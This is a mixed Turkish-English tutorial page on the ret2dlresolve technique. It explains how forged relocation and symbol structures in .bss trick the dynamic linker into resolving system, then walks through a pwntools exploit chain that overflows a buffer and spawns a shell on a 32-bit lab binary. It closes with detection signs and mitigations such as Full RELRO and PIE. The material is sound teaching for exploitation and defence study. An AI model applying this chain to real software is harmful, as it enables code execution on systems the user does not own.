ret2dlresolve¶
_dl_runtime_resolvetarafından tüketilen relocation, symbol ve string yapılarını forge et, böylece dynamic linker'ın kendisi arbitrary bir symbol'ü (örn.system) resolve edip çağırsın — libc leak gerekmez.
Mechanism¶
Neden çalışır
Lazy binding altında, bir PLT stub'ına ilk çağrı gerçek fonksiyona
atlamaz. Bunun yerine PLT[0], link_map'i (GOT[1]'den) ve bir
relocation index'ini (reloc_arg) push eder, sonra
_dl_runtime_resolve(link_map, reloc_arg)'a transfer eder. Resolver,
reloc_arg'ı relocation table'a bir index olarak ele alır ve tamamen
convention-gereği read-only section'lardaki data ile tanımlanan bir
pointer zincirini takip eder:
reloc_arg * sizeof(Elf_Rel) + JMPREL -> Elf_Rel { r_offset, r_info }
(r_info >> shift) * sizeof(Elf_Sym) + SYMTAB -> Elf_Sym { st_name, ... }
st_name + STRTAB -> "system\0"
i386'da JMPREL (.rel.plt), r_info = (sym_index << 8) | type
olan 8-byte'lık Elf32_Rel tutar; x86-64'te .rela.plt,
r_info = (sym_index << 32) | type (type = R_X86_64_JUMP_SLOT = 7)
olan 24-byte'lık Elf64_Rela tutar. Attacker'ların istismar ettiği
invariant: _dl_runtime_resolve, reloc_arg'a onu bounds-check
etmeden güvenir. Büyük bir reloc_arg ver ki
reloc_arg * sizeof(Elf_Rel) + JMPREL, attacker-controlled belleğe
(tipik olarak .bss) insin. Orada sahte bir Elf_Rel, sahte bir
Elf_Sym ve "system" string'ini hazırlarsın. Linker, forge edilmiş
symbol'ünü itaatle "resolve" eder ve çağırır — ASLR'ı hiçbir adres
leak'i olmadan atlatır, çünkü kullanılan her pointer no-PIE bir
binary'de sabit bir file offset'idir.
Walkthrough¶
Yalnızca lab
Sahibi olduğun bir binary kullan. Klasik hedef: 32-bit, no-PIE,
NX-on, Partial RELRO, bir buffer overflow ve sahte yapıları bilinen
yazılabilir bir adrese yazmanın bir yolu (genelde bir read) ile.
1. Resolver'ın dolaşacağı linker table'larını incele:
$ readelf -d ./vuln | grep -E 'JMPREL|SYMTAB|STRTAB'
0x00000017 (JMPREL) 0x80482a8
0x00000006 (SYMTAB) 0x80481cc
0x00000005 (STRTAB) 0x804823c
$ objdump -d -j .plt ./vuln | head # PLT[0] pushes GOT[1] then jmps *GOT[2]
2. Yapıları pwntools forge etsin. Ret2dlresolvePayload, symbol ve
argümanları verildiğinde sahte Elf_Rel/Elf_Sym/string blob'unu ve
hazırlanmış reloc_arg'ı hesaplar:
from pwn import *
context.binary = elf = ELF('./vuln')
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.read(0, dlresolve.data_addr) # stage fake structs into known memory
rop.ret2dlresolve(dlresolve) # jump into PLT[0] with forged reloc_arg
print(rop.dump())
3. Overflow + yapıları teslim et. dlresolve.payload forge edilmiş
table blob'udur; rop.chain() önce read'i sonra resolver'ı süren
stack'tir:
raw_rop = rop.chain()
p = elf.process()
# overflow buffer (offset 64), then the ROP chain, then the fake structs
p.sendline(fit({
64: raw_rop,
200: dlresolve.payload,
}))
p.recvline()
p.interactive() # => system("/bin/sh")
Ret2dlresolvePayload neyi inşa eder (32-bit, kavramsal)
# Fake Elf32_Rel at data_addr:
fake_rel = p32(elf.got['read']) # r_offset (where result is stored)
fake_rel += p32((sym_index << 8) | 0x7) # r_info: sym_index + R_386_JMP_SLOT
# Fake Elf32_Sym, aligned to SYMTAB stride:
fake_sym = p32(name_offset) # st_name -> "system\0" in fake strtab
fake_sym += p32(0) # st_value
fake_sym += p32(0) # st_size
fake_sym += p8(0x12) + p8(0) + p16(0) # st_info=GLOBAL/FUNC, st_other=0
# reloc_arg chosen so reloc_arg*8 + JMPREL == &fake_rel
(reloc_arg) aritmetiğini ve "system" string
yerleşimini halleder; elle yapmak temelde sizeof(Elf_Rel)/sizeof(Elf_Sym)
stride'larını eşleştirme alıştırmasıdır. st_other 0 olmalı yoksa
resolver symbol'ü reddeder.
Detection¶
- Binary'nin gerçek relocation sayısından çok daha büyük bir
reloc_argya daElf_Rel/Elf_Sym'i read-only linker section'ları yerine.bss'te olan bir resolution, imzadır. - Daha yeni glibc (2.35 sonrası civarı),
reloc_arg/version indexüzerine bounds check'leri ekledi ve o build'lerde naif large-index formunu kırdı.
Mitigation¶
- Full RELRO, lazy binding'i tamamen devre dışı bırakır (
BIND_NOW): GOT startup'ta resolve edilip read-only yapılır, böylece_dl_runtime_resolveruntime'da bir PLT stub'ından asla erişilemez — kesin çözüm. (ld -z nowveyagcc -Wl,-z,now; startup'taki tüm relocation'lar eager resolve edilir, ardından.got.pltmprotectile read-only işaretlenir.) - ASLR/PIE, tekniğin hardcode ettiği section adreslerini rastgeleleştirir ve gerekli bir leak ekler.
reloc_arg'ın glibc bounds-check'i out-of-range index'i bloklar.- Chain'i başlatan stack-buffer-overflow'u ortadan kaldır.